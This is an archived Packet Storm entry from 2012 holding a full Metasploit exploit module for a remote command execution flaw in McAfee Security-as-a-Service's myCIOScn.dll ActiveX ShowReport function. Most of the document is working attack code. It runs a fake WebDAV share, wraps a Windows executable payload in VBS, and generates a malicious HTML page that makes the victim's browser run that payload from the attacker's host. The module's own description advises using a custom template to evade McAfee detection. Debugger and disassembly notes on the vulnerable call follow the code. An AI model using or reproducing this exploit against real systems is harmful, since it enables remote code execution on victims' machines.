McAfee SaaS MyCioScan ShowReport Remote Command Execution

2012-01-18T00:00:00
ID PACKETSTORM:108767
Type packetstorm
Reporter rgod
Modified 2012-01-18T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",  
'Description' => %q{  
This module exploits a vulnerability found in McAfee Security-as-a-Service.  
The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails  
to check the FileName argument, and passes it on to a ShellExecuteW() function,  
therefore allows any malicious attacker to execute any process that's on the  
local system. However, if the victim machine is connected to a remote share (  
or something similiar), then it's also possible to execute arbitrary code.  
Please note that a custom template is required for the payload, because the  
default Metasploit template is detectable by McAfee -- any Windows binary, such  
as calc.exe or notepad.exe, should bypass McAfee fine.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod', #Initial discovery  
'sinn3r', #Metasploit  
],  
'References' =>  
[  
['OSVDB', '78310'],  
['BID', '51397'],  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'],  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none",  
#'InitialAutoRunScript' => 'migrate -f',  
'DisablePayloadHandler' => 'false',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Internet Explorer', {}],  
],  
'Privileged' => false,  
'DisclosureDate' => "Jan 12 2012",  
'DefaultTarget' => 0))  
  
register_options([  
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),  
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),  
OptString.new('URIPATH', [ true, "The URI to use", "/" ]),  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),  
OptPath.new('TEMPLATE', [true, 'A custom template for the payload in order to bypass McAfee', ''])  
], self.class)  
end  
  
def on_request_uri(cli, request)  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
process_get(cli, request)  
else  
print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
end  
  
def process_get(cli, request)  
print_status("URI requested: #{request.uri.to_s}")  
  
if request.uri =~ /\.vbs$/i  
# Depending on the connection speed, this might take a moment to transfer the  
# payload and actually get executed  
send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})  
print_status("executable sent")  
else  
# Don't know the request, return not found  
print_error("Don't care about this file, 404")  
send_not_found(cli)  
end  
  
return  
end  
  
def process_options(cli, request)  
vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")  
headers = {  
'MS-Author-Via' => 'DAV',  
'DASL' => '<DAV:sql>',  
'DAV' => '1, 2',  
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',  
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',  
'Cache-Control' => 'private'  
}  
  
resp = create_response(207, "Multi-Status")  
headers.each_pair {|k,v| resp[k] = v }  
resp.body = ''  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
def process_propfind(cli, request)  
path = request.uri  
vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")  
body = ''  
  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
my_uri = "http://#{my_host}/"  
  
if path !~ /\/$/  
if path.index(".")  
print_status("Sending 404 for #{path} ...")  
resp = create_response(404, "Not Found")  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
else  
print_status("Sending 301 for #{path} ...")  
resp = create_response(301, "Moved")  
resp["Location"] = path + "/"  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
end  
  
print_status("Sending directory multistatus for #{path} ...")  
  
body = <<-BODY  
<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
BODY  
  
body = body.gsub(/^\t\t/, '')  
  
if request["Depth"].to_i > 0  
if path.scan("/").length < 2  
body << generate_shares(path)  
else  
# Set payload name, and set the hidden attribute. True means visible  
filenames = [ [@vbs_name, false] ]  
body << generate_files(path, filenames)  
end  
end  
  
body << "</D:multistatus>"  
  
body.gsub!(/\t/, '')  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
end  
  
def gen_timestamp(ttype=nil)  
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")  
end  
  
def gen_datestamp(ttype=nil)  
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")  
end  
  
def generate_shares(path)  
share_name = datastore['SHARENAME']  
share = <<-SHARE  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{share_name}/</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
SHARE  
share = share.gsub(/^\t\t/, '')  
return share  
end  
  
def generate_files(path, items)  
trail = path.split("/")  
return "" if trail.length < 2  
  
files = ""  
items.each do |f, hide|  
h = hide ? '1' : '0'  
files << <<-FILES  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{f}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
<D:ishidden b:dt="boolean">#{h}</D:ishidden>  
</D:propstat>  
</D:response>  
FILES  
end  
  
files = files.gsub(/^\t\t\t/, '')  
  
return files  
end  
  
def get_payload  
fname = rand_text_alpha(5) + ".vbs"  
p = payload.encoded  
exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']})  
vbs = Msf::Util::EXE.to_exe_vbs(exe)  
return fname, vbs  
end  
  
def exploit  
@vbs_name, @vbs = get_payload  
  
#  
# progid: MYCIOSCNLib.Scan  
# clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7  
#  
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']  
obj_name = rand_text_alpha(rand(6) + 3)  
sub_name = rand_text_alpha(rand(6) + 3)  
html = <<-HTML  
<html>  
<head>  
</head>  
<body>  
<object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='#{obj_name}'></object>  
<script language='vbscript'>  
sub #{sub_name}  
#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}"  
end sub  
  
#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}"  
window.setTimeout "#{sub_name}", 1000  
</script>  
</body>  
</html>  
HTML  
  
html = html.gsub(/^\t\t/, '')  
file_create(html)  
print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload")  
  
super  
end  
  
end  
  
=begin  
myCIOScn!CScnXml::SetNumScanned+0x19ab:  
2101caf9 55 push ebp  
  
0:003> lmv m myCIOScn  
start end module name  
21000000 2106d000 myCIOScn (export symbols) C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll  
Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll  
Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll  
Image name: myCIOScn.dll  
Timestamp: Wed Aug 10 11:34:01 2011 (4E42CF19)  
CheckSum: 0007C3A6  
ImageSize: 0006D000  
File version: 5.2.3.104  
Product version: 5.2.0.0  
File flags: 0 (Mask 3F)  
File OS: 40004 NT Win32  
File type: 1.0 App  
File date: 00000000.00000000  
Translations: 0409.04b0  
CompanyName: McAfee, Inc.  
ProductName: McAfee® Security-as-a-Service  
InternalName: myCioScn  
OriginalFilename: myCioScn.DLL  
ProductVersion: 5.2.3  
FileVersion: 5.2.3.104  
PrivateBuild: 5.2.3.104  
SpecialBuild: FULL  
FileDescription: myCioScn Module  
  
.text:2101CB1A push esi  
.text:2101CB1B push 1  
.text:2101CB1D xor esi, esi  
.text:2101CB1F push esi  
.text:2101CB20 push esi  
.text:2101CB21 push eax ; we own this  
.text:2101CB22 push offset aOpen ; "open"  
.text:2101CB27 push esi  
.text:2101CB28 mov [ebp+0A50h+Str], eax  
.text:2101CB2B call off_2105D350 ; ShellExecuteW  
=end`